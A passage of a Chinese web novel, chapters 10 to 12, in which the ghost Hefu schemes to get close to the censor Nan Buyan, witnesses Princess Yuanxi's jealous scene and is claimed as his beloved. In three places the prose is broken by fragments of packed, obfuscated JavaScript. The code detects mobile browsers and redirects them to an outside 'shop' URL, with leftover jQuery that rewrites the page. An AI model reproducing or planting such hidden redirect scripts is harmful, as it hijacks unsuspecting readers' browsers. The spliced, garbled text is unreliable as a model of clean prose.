“合姑娘唤我冯原就好!今日得见合姑娘真是冯某三生有幸,听恒儿说姑娘精通法术,是天上来人,不知道姑娘师从哪位高人,可通晓阴阳昏晓、风水玄学,当然最重要的是姑娘可否屈尊赐教,冯某定当虚心求学!若是姑娘师门讲究礼节,不传外人法术,冯某愿意准备一场拜师宴,当众拜师!”冯原一口气说道,合芜根本插不上话。 合芜嘴角抽抽,这还扯上拜师宴了?要是冯原知道自己要拜的师父是一个冥界地府的小鬼,不知道会不会吓到腿都站不直。还有他这话确实是有点密了,难怪方才他说南不宴嘴笨。 合芜道:“你也不必这般端着我,我就一普通人,我们年龄相仿,叫我合芜就行,姑娘姑娘的叫怪生疏的。” 同道中人!冯原兴奋。 “没想到我冯原到了这个年纪还能遇到知己啊,真是‘天涯何处无芳草,来得早不如来得巧’。”冯原感慨,“合芜你这般年少,恒儿昨日还同我说你可以凭空封人口舌,是真的吗?这是什么法术,你可还会其他?” 封人口舌,我现在就想把你的嘴封住。合芜将一缕发丝别到耳后,打了一个响指。 “要我说,我们不做师徒还可以做一个拜把子的兄弟,你觉得,唔——”冯原的嘴被封住,瞪大了眼,眼里没有半点惧怕,都是亲眼见到法术的惊喜。 合芜挥挥手,解了冯原身上的术法。 “教我教我!”冯原道。 合芜扶额,突然灵光一闪,抬头故作为难道:“教你可以——” “真的!” “当然为真,只是我离开师门,如今没有住处,不止我可否?”合芜道。 “你放心,我早已命人在选一间采光极好的屋子,你等会直接过去就成!”冯原道。 “不错。”合芜满意点头,“还有,我教会你这个法术,你还要告诉我一些我想知道的事情,如何?” 冯原疯狂点头,这些都算不上什么。 “好,成交!你想听什么,问我可就问对人了,这整个京州就没有我不知道的事情,比如西街哪家酒楼最红火,近来京州小娘子们都喜欢哪些时新的胭脂水粉,问我可是最清楚了。” 合芜将手肘杵在桌面上道:“我倒不是想要问这些,就想问问你这个名义上表弟,左都御史南不宴。” “不宴?你问他做什么,他这人无趣得很,跟个姑娘家家似的大门不出二门不迈,酒楼食肆哪都不去,天天就在府里闷着,当朝圣上萧齐是咱一同长大的兄弟,要不是有时迫不得已,实在有事要把不宴传唤到宫中去,萧齐甚至都默许他不用上朝,为此之前朝里还有不少怨言呢。”冯原咂舌道。 因有之前对南不宴的误会在,再加上冯原的这一番言论,合芜对南不宴有了一定的改观。 本以为南不宴就是一个表面装正经的花花公子,如今看来倒是真的木头一个。 这可不是一件好事。 合芜原本想着若是这人花一些,破绽自然也就多些,接近他的方法便丰富些,但如果是一个一本正经的木头,那攻克的难度可就大大提升。 接近这种人首先要做的就是不要脸地一直创造见面机会,混个脸熟,其次便是信任亲近,最后才可能有机会谈谈心。要是真到了最后的这个时候,不论是想要玉带还是想要让他因为自己而哭,都会容易许多。 “这么说来,南不宴不是那种会玩弄小娘子感情的人喽?”合芜问道。 冯原像是听到了什么惊天的大笑话,边说边笑道:“玩弄小娘子感情?哈哈哈哈哈,不宴他不被小娘子玩弄感情就不错了,哈哈哈哈哈!” 合芜眉毛一挑,更感兴趣了。 “此话怎讲?” “你是不知。”冯原终于笑得缓过劲来,摆手示意合芜靠近些,“街上最近都有传言说不宴这几年身边没有女人是因为喜欢男子,你说好笑不好笑,我不行了哈哈哈哈哈。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165128|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 合芜:“……哇哦。” 这话,不是她传的吗,这么快就……传到这里来了? 罢了罢了,反正他们也不知始作俑者是她,合芜假装镇定道:“都堂玉树临风,看着便不像有那些龙阳之好,想来这些都是些空穴来风。” “哎!合芜你果然与别的姑娘不同,别的姑娘都是拿不定主意来问我,你这真是通透,一眼便瞧出此乃不实之事,佩服佩服。” 呵呵,能不通透吗,她自己传出去的话能不知道真假?这要是再不通透那就是记忆衰退,要去鬼大夫那扎几针才能好。 “低调低调。” “想当初咱们不宴啊那可是京州贵女争相抢夺的少年郎!不对现在也是,不过当初更甚。”冯原一讲起往事就滔滔不绝。 “有人仰慕不免为一桩幸事,为何说南不宴他会被姑娘玩弄感情呢?” “不宴为人洒脱,对京州里的姑娘皆是礼节到位,我和萧齐都以为他会是那种见到心悦之人直接上门求亲的人,哪里知道咱们在沙场上单枪匹马的小将军在见到崔姑娘的时候竟连道都走不动了。”冯原提及往事,笑着摇头。 “不宴骑着马偷摸追了人家送镖的车队一路,最后还被崔姑娘误当作山匪,一箭从马上射了下来,不仅一句怨言都没有,在养伤的那几日里甚至都不愿意上药,说是要留一道疤,来记住那次初遇。” “原来街上那些茶馆里说的书是真的啊……”合芜叨叨着。 冯原看向她:“你说什么?” “哦没,没什么,你继续。”合芜打着马虎眼。 冯原津津有味地说着。 合芜发起了呆,小脑瓜开始转了起来。 没想到这南不宴不是根木头啊,反倒是纯情得很呐。崔禾姑娘竟然有如此之大的吸引力,合芜想着,戏文里都怎么说的来着,青梅竹马?两小无猜?哦不对!是瑶台月。 这就是瑶台月的威力吗。 毫无疑问,想要接近南不宴得要从这唯一的瑶台月入手。 “合芜?合芜你在听吗?”冯原看到合芜眼神涣散,一副若有所思的模样,喊道。 合芜回过神:“哦在的在的。” “你怎么魂不守舍的。” “有,有吗?”合芜道,“许是也被都堂和崔姑娘的故事感动到了吧。” 冯原道:“我跟你说,这是不宴的私事我一般不与外人说,我跟你说了之后你可不要轻易告诉别人。” “自然的。”合芜点头。 “但是自从崔姑娘走后,不宴就变成了现在这个样子,无论别人如何说都听不进去,你别看他面上冷着,但心里还是热的。” 冯原叹了口气,突然想到今日来这的目的。 “合芜,你说要教我法术,我不多学,就想知道方才的那个。”冯原做了一个闭嘴的手势,“封口术。” 合芜挑眉:“想学这个?” “嗯嗯。”冯原点头如捣蒜。 合芜望望院门口,得找个机会去接近南不宴,至于这里,合芜眼珠滴溜一转,先找个借口糊弄过去。 “好说好说。”合芜胡言乱语道,“这个术法基础,但是你没有基本功,得先从基本功练起,俗话说兵不厌诈、调虎离山,主打一个反其道而行,你看见这片湖了吗?” “看见了。”冯原一眨不眨地瞪着湖面。 合芜站起身笑道:“要学封口不语,就要先学会一个字‘喊’,你站到湖边对着湖面大喊,嘿嘿哈哈的喊,直到你可以听见你的回音为止。” “就这样?” “就这样!” “好!”冯原极相信合芜,站到湖边就喊了起来。 “嘿——哈——” 合芜往后默默退了几步:“你先喊着,我到附近逛逛,一会儿来验收成果哈。” 合芜转身就跑,听着身后传来的嘿哈声忍不住笑出声,真如坊间传闻,冯家少公子不喜学术,只爱玄学,在湖边喊怎么可能听到回声呢。 哎呀真好!合芜伸了个懒腰。 这回时间充裕多了。 10. 烽烟烬里故人归(九) 合芜走在石子路上,心情不错,嘴里哼着小曲。 南不宴会在哪里呢?之前他不就是从这里和他那个手下一起出来的吗? 合芜一会儿往右边的桥上拐,一会儿又挑一个左边的门走,碰到路就走,左都御史府的路绕来绕去的,她都不知道自己走到哪了。 合芜顺着路走下几节石阶,小径边上堆放着形态各异的假山石。又往前走了几步,前头传来窸窸窣窣的声响,随后从成片墨绿色竹林后闪出两个人影,嘀嘀咕咕说着什么,合芜下意识躲到一座假山石后边,屏息竖耳听着。 “什么?元熙长公主又来了?”一个下人紧张兮兮道。 “可不是吗,方才长公主就站在御史府门口,咱们拦不住也不敢拦,现在人就在前厅。” “都堂知道吗?” “知道,已经有人去通传给都堂了,这元熙公主也真是执着,三天两头往咱这跑,前几次还好,只是站在府门口,这回直接就进府了,对咱都堂也太穷追不舍了一点。”另一下人道,两人交头接耳着走过石子路。 “走走,快去看看。” “哎呀你小点声,要是被人发现不知道要挨什么罚。” 合芜紧贴着假山石,直到那两人拐过院墙才从假山石后走出来。 稀里糊涂听了个大概,合芜提炼出关键信息:南不宴在前厅,即使不在前厅也在前往前厅的路上,因为有位仰慕他良久的金枝玉叶的长公主殿下来了。 那还等什么,合芜抬起脚赶紧悄悄跟上。 * 御史府的前厅门开着,屋子里头点着香,不是什么名贵的香料,但是闻着倒是能够让人静下心来。 屋里头一位身着桃粉色广袖留仙裙的少女端着身子坐在椅子上。她眉毛细弯,眼尾扑着脂粉微微上挑,裙摆上绣满桃花,连发髻上戴着的簪子都是用东珠镶嵌成的桃花。 “霓儿,不宴哥哥来了吗?”粉衣少女朱唇微启缓缓道,边说边举止端庄地拿起手边倒好的茶微微抿了一小口。 霓儿俯下身:“殿下,府中下人已经去禀报了,想必南都堂大人已经在赶来的路上,殿下不必心急,都堂大人定是想极了殿下,殿下只需安心等着便好。” 元熙闻言羞涩一笑,眼波流转:“就你嘴甜会说话,最近课业多,是有好几日没有出宫了,也不知道不宴哥哥会不会怪我好几日没来,我今日特意穿了这件绣满桃花的衣裳,不知道他会不会喜欢。” 霓儿哄道:“都堂大人定是会喜欢的,奴婢都打听过了,都堂大人最宝贝后院的那几树桃花,殿下今日穿着这衣裳简直貌美如花,不对不对,是比花还要娇。” 前厅左侧最旁边的一扇窗户微微动了动,窗户左下角米黄的窗纸发出细微的声响。 “怎么糊得这么紧。” 过了一会儿,突然没了动静,下一秒一根手指直接捅开了窗户纸,一只忽闪忽闪,睫毛长长的大眼睛从洞里望了进来。 合芜猫着腰往里头探着。 里面还有两个人,合芜一下子就被那件华服给吸引了去,绫罗绸缎,穿金戴银,那人一定就是元熙长公主了,这一身从头到脚算下来应该值钱不少银子吧,也太好看了。 鉴于现在要和南不宴拉近距离的目的,合芜无法在第一时间判断这位长公主是敌是友,只能先观望着。 在合芜半蹲等得腿发麻之前,屋外传来脚步声。 南不宴进了前厅,额上布着一层薄汗,身后跟着风影。 “不宴哥哥!”元熙长公主的眼神立刻像是黏在南不宴身上了一样,再容不下旁人,半点都移不开,她立马放下手中的杯盏起身迎了上去,声音甜腻腻的。 “臣拜见殿下。”南不宴只是瞥了长公主一眼,便面色冷淡地低下头,话语生疏道。 元熙不知道是没注意到南不宴冰冷的语气,还是压根不在乎,只顾着看到南不宴气息不稳。 气息不稳,不宴哥哥为了来见她真的如此急切。 院子心里这么想着,乐着,面上笑得更加羞涩,要说一开始还是一株含苞待放的花朵,现在已经盛开到不能再艳丽了。 “不宴哥哥你快坐,几日不见怎么就生疏了,叫我元熙就行呀,来的路上定是很急吧,元熙给你擦擦汗。”说着,元熙从袖中取出一方粉色绣帕,迈步上前,伸出手就要给南不宴擦汗。 南不宴立刻后退一步与长公主拉开距离,直白道:“殿下今日来此所为何事。” 元熙见南不宴后退,没有气馁,脸上立马又扬起笑来,将帕子塞到霓儿手中,转身拿起一杯茶递给南不宴:“不宴哥哥你渴了吧,要不先喝茶?” 南不宴没有接,风影在后面紧张地擦了擦冷汗。 合芜挑着眉从洞里看着,好你个南不宴,胆子真肥,这么搏长公主的面子,这整个京州也就只有你敢了吧。 “臣不渴。” 依旧简短,依旧冰冷。 元熙的手顿住,眉目间终是弥漫上一层委屈:“那不宴哥哥想做什么,今日元熙正好有空,元熙可以陪不宴哥哥一起。” “殿下没有要事?”南不宴皱眉问道。 “殿下来找都堂大人可不就是要事?”霓儿站在元熙身后听了半天,终是忍不住没好气道。 元熙立马制止:“莫要胡言,霓儿。” “若是没有其他的事情,就还请殿下早日回宫,如今外头不太平,长公主殿下金尊玉贵,若是伤着碰着,臣也不好向陛下交代。”南不宴道。 合芜看得起劲,从洞里看不过瘾,干脆直接将窗子打开一条缝,继续瞧着。 长公主看起来还是一副没有放弃的样子,直接使出杀手锏,直接在南不宴面前踮起脚尖,翩翩然转了一个圈,神采奕奕地举起自己的广袖,甜甜道:“不宴哥哥,那你看看我这身衣服,是不是很好看?” 南不宴和风影来得匆忙,注意力又不在这方面,未曾注意到过长公主殿下的衣着,如今经她一提醒,风影看后直接就是一个倒抽凉气,脸色瞬间煞白,慌乱的目光在自家侯爷与长公主殿下之间来回游移着。 自家侯爷喜欢桃花是因为后院的那几株桃树是嫂夫人之前与侯爷一起种下的,长公主如今这么穿,可是往侯爷伤口上捅刀子啊。 南不宴原先就不太好的脸色变得更加阴沉。 微风吹着窗棂不时发出吱呀的声响,破开的窗纸像秋日的残蝶翻飞着。 屋内的氛围肉眼可见地开始紧张起来。 呦,有意思,合芜往前凑了凑。 南不宴还真是招蜂引蝶,这元熙长公主和他什么交情,竟然这般倾慕于他,强劲竞争对手加一。不过看南不宴这反应似乎是不想做驸马了,合芜默默在心里给长公主的竞争威胁力减下几分。 屋内,南不宴偏过头将目光移开,没有再看元熙:“长公主殿下,天色不早了。” 其中逐客之意不能再明显。 “长公主殿下,请吧。”风影在南不宴身后俯身,毕恭毕敬地做出送客的手势,他动作迅速,就怕再玩一点点自家侯爷就会炸了。 这回换成霓儿不高兴了,她双手叉腰,紧皱眉头冲着风影喊道:“我家殿下和都堂大人说话,有你什么事!?” 危险的敌军见过不少,但没有一个可以让风影这般无措,他被霓儿这气势唬住,张口半天却再也憋不出一个字。 霓儿见他势弱,正欲继续开口追责,只听身后的元熙声音委屈道:“不宴哥哥,你就如此不待见元熙吗?元熙今日好不容易有时间出宫,一下马车便来寻你,不宴哥哥若是不喜元熙来你府上,那元熙就去租一家酒楼同不宴哥哥谈天,可好?” 南不宴没有说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165129|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不宴哥哥你从前不是这样的,我们自小一起长大,以前是因为有崔禾在,你才远离我,但现在崔禾她已经死了!她已经死了!为什么你还是不看看元熙啊!”元熙泪眼盈盈,泪珠像是下雨一般刷刷地往下坠,哭得那叫一个梨花带雨,惹人怜惜。 但是她已经死了…… 南不宴愣住,双耳如同被什么东西蒙住。再也听不见外界传来的半点声音,只有这几个字怎么也驱散不开,在脑海里盘旋着,一次次的重击,深深扎进他苦苦缝合着的伤口,南不宴说不出话来。 已经…… 他的眼神变得混沌无光,像是被蒙了一层白雾,眉头蹙起,如同溺水之人一般呼不过气来。 合芜扒着窗户的手有点迟疑,定睛往吵闹的中心观察着,他的状态好像有点不对。 “不宴哥哥,你说句话呀不宴哥哥!” 元熙哭着,眼尾的胭脂已经晕染开,花花一片,她不管不顾着,上前就想要去拉南不宴的手。 风影站在南不宴身后,担忧地看着自家侯爷,焦急得不行,但长公主何其尊贵,哪里是他一个护卫可以说得碰得的。 正当风影无奈之际。 元熙向前伸出的手眼见着就要抓住南不宴的手腕,可是下一秒却扑了个空,她脸朝下踉跄了几步险些摔倒,被霓儿扶住。 南不宴的臂弯里揽上一只纤细白皙,指节修长的手,只是轻轻一拉一带,就将他牵到了一边。 “南不宴。” 一声清冽的呼唤声,穿透层层薄雾,直击心神。 南不宴猛地回过神来。 刹那,万千音籁灌入耳中,眼前的迷雾散开,像是呼吸到溺水后的第一口空气,南不宴的眼神由暗淡转为惊慌最后变为幽暗,逐渐平复下来。 “没事?”合芜声音细若蚊吟,对着南不宴问道。 还没有等来他的回应,一阵刺耳的声音先闯进合芜的耳朵。 “你是谁?!你为什么可以揽着不宴哥哥的手!”元熙眼睛发红,不知道是哭的还是气的,伸手指着合芜质问道。 “我——”合芜正欲开口。 “你闭嘴,本宫有让你说话吗!”方才温柔的样子顿时荡然无存,元熙根本没有让合芜开口说话的打算,转头委屈地看着她的不宴哥哥,声音又柔弱了不少。 “不宴哥哥,她是谁?” 这么凶?! 合芜嘴角抽动,要不是看在她是长公主的份上,怕戏弄她会惹出诸多不必要的麻烦,她高低要让她尝尝封口术的滋味,不对,什么痒痒术、麻麻术都给她安排上。 南不宴没有开口,眉眼低垂看着身侧的合芜,就见她正一副张牙舞爪,却不得不把所思所想憋在心里的模样。 刚才他是怎么了,大抵是旧疾又犯了,可是这回恢复神志竟然不用把自己泡在冰桶里几个时辰,只是因为,南不宴注视着合芜抓在他臂弯的手。 只是因为方才她唤了他一声。 “不宴哥哥!!!”元熙见南不宴根本不看自己,眼神像是黏在那个女人身上一样,她委屈地喊着,眼睛则是狠狠瞪着合芜。 合芜注意到南不宴落在她手腕的视线,会错了意,心里犯嘀咕。 还敢嫌弃她,要不是她来的及时,他早就被长公主拆吃入腹了。 合芜一撇嘴,想把手从南不宴的臂弯间取出,还没有离开几寸,只觉得手腕被一只滚烫的手摁住,随后整只手被包进掌心里。 好烫,这就是活人的温度吗? 南不宴,他这是在干嘛?合芜抬头,一脸愕然。 南不宴眼神平静,看着元熙。 “她,是我心悦之人。” 啥?! 合芜怀疑自己的耳朵坏了,要不就是南不宴的脑子出问题了,他知不知道自己刚才说了什么啊!!! 11. 烽烟烬里故人归(十) 这回不光是元熙愣在原地,所有人除了南不宴之外,全部像是静止了一般。 “我什么时候成了——”合芜皱着小脸疑惑道。 早知道就不好奇跟着过来看热闹了,亏她刚才还心软过来帮了他一把,但现在南不宴的行为不就是把他当枪使吗,她又不傻。合芜汗颜,刚才南不宴那一句“心悦之人”差点儿没把她送走,着实是把她如此勇敢之人吓了一跳。 鬼的天! 合芜突然想到,自己一时半会儿回不到冥界,要是之后长公主气不过要找她开刀,南不宴又是一时口嗨对她的生死不管不顾了怎么办? 到时候又不能用术法还手,只能眼睁睁看着自己被欺负吗?合芜光是想想就禁不住哆嗦了一下。 “阿芜还耍小脾气呢?昨晚在书房之中的嬉闹之事,是我做的过火了,阿芜可否原谅我?”南不宴不等合芜说完,打断她的话,脸上带着笑,语带歧义开口道。 他捏住合芜的手腕,示意她不要多说。 听听!听听!青天大老爷!他说的这是什么话!合芜有被南不宴的厚颜无耻再次震惊到,她昨天不就是不小心看见他沐浴,但是昨日他也把剑架到她脖子上了不是吗,一比一平,况且南不宴穿得那么严实,防贼一样,她都还什么都没看到呢,说到底还是她亏了。 合芜哪里受过此等污蔑?!再说下去她就真的跳到忘川里都讲不清了。 她急忙道:“你别乱说,我不就是看到了你沐浴,其他的——” “够了!都给本公主闭嘴!!!” 面前二人你一句我一句,在元熙看来何尝不刺眼,如同打情骂俏一般。 元熙愤怒长喊一句,可是还觉得不解气,转头张望,看到桌上摆着茶壶杯盏,快步回到座椅边,伸手抓过,统统都往地上摔去,随着“哗啦”一声巨响,茶盏的碎片碎的满地都是,茶水也撒在地上。 合芜灵活一跳脚,她本身就穿着方到脚踝的灯笼裤,幸好躲闪及时,这才没有被地上飞过来的锋利碎片划到脚踝。 长公主好生凶猛,合芜顿时肃然起敬。 南不宴将合芜拉到身后。 喂喂喂,这是干什么。合芜越过南不宴的肩头看向长公主,她还要向人家解释清楚,挡住她是几个意思。 “不宴哥哥!你究竟看上她什么了!”元熙指着南不宴身后冒出半个头的合芜,语气讽刺道,“她从头到脚一副村姑打扮,色彩暗淡没有半份生气!她哪一点配得上你啊,不宴哥哥!” 有,有吗? 合芜低头看看自己的绿褂子和红色灯笼裤,这不是挺好看的吗。 “还有她那头发,也不知道梳梳,就这样随意扎着,半点饰品都没有,一看就是一穷二白,不宴哥哥她就是看上了你的身份,看上你的银钱了,你可千万不要被她骗了呀!” 合芜伸手摸摸自己的发梢,这发质万里挑一啊,真是不懂得欣赏,再说了戴那满头首饰叮叮当当的不难受吗,脖子都酸了吧。 她转身揪起一捋头发在风影面前晃了晃,又转了一个圈,压低声音小声问风影:“不好看吗?” 风影连忙点头,做着“好看”的口型。 合芜光看到风影点头,会错了意,以为他点头的意思是认为自己这身不好看,不由瘪瘪嘴。 哼,没眼光。 见合芜脸色一时差极了,风影茫然,他说错话了?这姑娘怎么和侯爷一样难以捉摸啊,苦涩苦涩。 “不宴哥哥,她还粗俗!她还不懂礼数!她——” 元熙红着眼睛哭诉着。 南不宴神情无奈,自小他与冯原、萧齐还有许多的世家贵族确实一起长大,读书塾、学骑射也皆是在一起,萧元熙作为萧齐的妹妹,南不宴认识但是真的算不上熟悉。元熙如京州万千小娘子一般,对南不宴一见倾心,二见痴情,这么多年元熙借着自己哥哥的关系对南不宴表明心意了多少次,南不宴就回绝了她多少次,从儿时的皇子、公主、小侯爷变为如今的天子,长公主与左都御史再无其他。 元熙实在是找不出词汇来讽刺合芜,只能闭口不言目带仇视地盯着她,仿佛她的不宴哥哥不接受她全全就是因为合芜的勾引。 南不宴声音稳稳道:“若是殿下再闹下去,臣不知道到时候在萧齐面前还能再帮殿下说什么了。” 听到皇兄的名讳,到底还是有些畏惧,元熙收敛了些性子,伸出的手也收了回来,但眼里仍旧是满满的不服气。 “天色已晚,若是殿下再不回去,陛下是会焦急的。”南不宴再次开口。 元熙道:“不宴哥哥,你就只会说这些吗,元熙回去就好,不宴哥哥不必说了,礼数什么的元熙还是懂得的,不像某些人。” 说完,元熙瞪了合芜一眼,绣花鞋尖一转,扬了扬袖子,快步走出前厅,只是往外走了几步之后又回头看了看南不宴,却见屋中之人的目光并不在自己的身上,恼火地跺了跺脚,这才转身随着下人出了御史府。 合芜从南不宴的身后绕出来,快步走到前厅的门边扒拉着门框向着远处的正门望着,直到长公主彻底离开,才长长舒出一口气。 “南不宴!”合芜回过味来,咋咋唬唬道,指着南不宴几步跑跳到他面前,“我什么时候成了你的心悦之人了?” 南不宴看着合芜说话的样子,面色也恢复到之前公事公办的模样:“事急从全,抱歉。” “一句抱歉就过去了?我虽然是——”合芜注意到站在南不宴身后的风影,突然想到在这里知道她真实身份的人只有南不宴一人,还是先不要让别人知道的好,她压低声音继续说,“虽然我不是人,不在乎在这人界的名声,但是你知不知道人界有多少冥界神界的眼睛,要是被冥界的鬼魂们知道我堂堂地府合芜在人界被你区区一个凡人戏弄,我的面子往哪搁啊?” 说着,合芜还装模作样半眯着眼,拍拍自己白皙的脸颊。 本以为他会大大方方,毫不计较,拿出当官人的气度给她来点补偿,什么补偿都行,但要是银钱就最好了,合芜是这么想的。 但是没想到。 南不宴并没有如合芜所想那般,反而是向前走进几步,逼着合芜硬生生往后退了半步。 “你,你干嘛?” 南不宴压低身段,学着合芜的样子压低声音道。 “你堂堂地府合芜,被我区区人界左都御史南不宴戏弄——”他故意拖长语气。 “不亏。” …… 合芜愣住。 …… “南!不!宴!” * 是夜,晚风卷着秋日夜晚的霜露气息从半敞着的窗口吹进合芜的卧房。 不知是因为冯原与南不宴说过自己要在这府暂住,还是觉着今日在前厅里利用了她良心一时过不去,合芜住下的过程极其的顺利,南不宴像是默认了一般,还命下人给她送来了些换洗的衣裳。 合芜翻来覆去地打量着桌上的新衣裳,心里琢磨着。 一开始就觉得拿下南不宴这件事不简单,但本以为再难应该也难不到哪里去,只因为南不宴一开始在合芜的认识里是一个没什么社交圈,一心一意做自己事的人。但今日发生的种种让南不宴在合芜脑海里的印象大大改变。 他不仅认识长公主,好像人家还打定主意要嫁给他不可。还有那个风影,合芜想着,几乎时时刻刻跟在南不宴身后,两个人好像还在查什么挺重要的东西。 连长公主这样的南不宴都看不上,合芜觉着自己想要拿下南不宴的计划简直就像是天方夜谭。 要不先放弃,放弃攻略这个左都御史的计划,那个存在于过去的崔禾姑娘对南不宴的影响实在是太大了,自己怎么可能拿下他啊。 合芜托腮,指尖轻点着脸颊,但是不行啊自己的半条命现在还在人家手上,走也走不了。 “啊啊啊烦死了!”合芜挠挠脑袋,晃悠着一头栽倒在软乎乎的床褥子上。 这左都御史府果真不错,连这床褥子躺着都这么舒服,就算这次计划不成,给自己的蘑居添上一床这样的床褥子也不错,合芜美滋滋想这着。 合芜的眼皮子不受控制地越来越沉重,最终慢慢合上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165130|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 长公主走后,合芜也先溜走了,风影跟着自家侯爷回到了书房。 本来今日收到消息,说是济婴镇又有了关于嫂夫人的新消息,风影跟着侯爷快马加鞭准备先去济婴镇打探一二,哪里知道马匹都还没有跑出城就接到府上传来的飞鸽传书,说是宫里来人,长公主登门拜访。 之前南不宴曾拜托萧齐暗中调查三年前烬烽关战役中管理传讯以及后勤的所有相关人员消息,只为探查出当年到底是谁能神不知鬼不觉地将烬锋关的假情报畅通无阻地传到京州。 见宫中突然来人,南不宴还以为是萧齐让萧元熙来递消息,半途急匆匆赶回来,确认再三,却只是萧元熙的私事。 风影大气不敢出跟在南不宴身后进了书房,熟练地将房门掩上。 今日没有按照计划赶到济婴镇,又闹了长公主这一场乌龙,风影只要用脑子想想就知道侯爷今日的心情不会好,况且自从三年前开始侯爷就不苟言笑,即使心情不错的时候也不会有太大的情绪波动,更别说现在了,侯爷一定极是焦躁。 风影站在书桌前,鼓起勇气抬起头,正想好好劝一下侯爷,话还没说出口,就生生噎在了喉咙里。 他看到了什么? 南不宴坐在桌前,眉头舒展,没有半分恼意。 不应该啊。 今日有什么开心事? 风影揉揉眼睛,再定睛一看,这回侯爷嘴角竟然有了一丝若有若无的弧度。 侯爷,好久没有这么笑过了,虽不及过去的万分之一,但也是一件天大的好事。 “怎么了,这种眼神一直看着我做甚,有什么事说就是。”南不宴注意到风影惊喜的眼神,稍微收敛了下神色。 风影一愣,急忙应道:“没,没有,就是好久没见侯爷这么开心过了。” 南不宴面色一窘,有些不自然道:“我,看起来很开心?” 风影连连点头。 “你看错了。”南不宴道。 风影自知侯爷脸皮薄,也就不说了,只是道:“侯爷,风影不明白,今日你明明可以像从前一样直接拒绝长公主,为何今日要搭上合姑娘?还说,还说她是侯爷你的心上人。” 南不宴没有说话,像是在斟酌该如何开口,也像是在思考自己为何会这般做,沉默良久最终开口道:“近日关于阿禾的消息逐渐多了起来,线索一一链接了起来,接下来要做的事情只会更加多,在这时候没有时间可以分心在其他的事情上,今日用合芜当借口拒绝萧元熙只望她能彻底放弃。” 闻言此,风影却不买账,小声嘀咕:“之前侯爷你也没有分心在长公主身上过啊,这算是什么借口。” “你说什么?” “没,没什么!”风影立马闭嘴,问,“那侯爷为何同意合姑娘在府里住下?” 也许是也觉得自己所言并非实情,南不宴胡乱想将话题翻过去:“今日已经拿她当借口将长公主请走,若是将她赶走被萧元熙发现,不久露馅了,把她留在身边至少能闭避风头,再者说,还要叫她帮忙查一些事情。” “什么事啊?”风影不知道侯爷与合芜之间的交易,好奇问道。 南不宴没有说:“只是一些私事罢了。” “好吧。”风影见侯爷不愿意开口,只能遗憾不再追问,杵在书桌前没有动。 “你还有什么事?”南不宴揉揉太阳穴,叹气问道。 风影犹豫开口:“就是,冯公子现在还在后院的湖边不愿意走。” 南不宴皱眉无语:“更深露重的,他没事站在湖边干什么?” “风影派人去劝了,但冯公子说是合姑娘在教他一个什么封口术的基本功,一直在湖边对着湖面嘿哈叫个不停,说是要听到回声才行。” 南不宴一副头疼的样子,冯原果真是书读到狗肚子里去了,这种放在明面上的谎话都能被骗,道:“她的话冯原也能信,真的是蠢到家了,找人把他弄回他自己卧房去,要是还是不听,就把人绑了直接扔回去,大半夜的扰人清静。” “好的侯爷!”风影干劲十足,奔出书房。 12. 烽烟烬里故人归(十一) 一大早,御史府的膳房里就传来噼里啪啦一顿吵闹,锅碗瓢盆碰撞的咣咣当当里还混带着油锅里的刺啦声响,惊得边上一圈的鸟扑簌簌飞起又飞落,叽叽喳喳叫个不停,仿佛在宣泄着睡不了好觉的不满。 “这膳房里怎么乒乒乓乓的?”有下人道。 “好像是之前在府里住下的那姑娘,这水塘边也就住着她一个,左右打扰不到别人,不要多问了。” 轰隆一声,膳房的窗子被急忙推开,合芜灰头土脸地趴在窗棂上咳嗽,小小一张脸上黑乎乎的,一双大眼睛也被呛得半眯起来。 “咳咳咳!” 合芜生无可恋,不可置信地从腰间的围裙袋里掏出冯原给的食谱,哗啦啦翻到一页标红的纸张前。 “这到底是什么东西啊,真的是什么糖油果子吗,这油星子炸得比地府里的油锅都可怕!”合芜嘟囔着,忙不迭又离锅远了些。 这几日南不宴总是和那个风影往外跑,幸好去的地方大抵都不是很远,合芜被命魂的结界带着一会儿往西跑一会儿往东跑,累个半死。 不过合芜发现了一件事,随着时间的推移,再加上和南不宴相处的时间增多,也不知道是不是她的错觉,她散失的那一部分命魂好似在逐渐回归于体内,控制她的结界力量慢慢在减弱,她的行动范围也逐渐扩大起来。 “也就是说,只要我和南不宴的接触时间加长,关系更加亲密,命魂就会逐渐回归体内?”合芜得出结论,不过也不知道对不对,但凡事总要试试不是。 合芜去找了几回冯原,教了他几个小戏法,旁敲侧击地询问出了南不宴爱吃的东西。 这不是人界有一种说法:要抓住一个男人的心就要先抓住他的胃。 合芜觉得这句话很离谱,但是凡事存在都有它的道理,不信也不行。 只是这糖油果子,也太难做了一点吧! 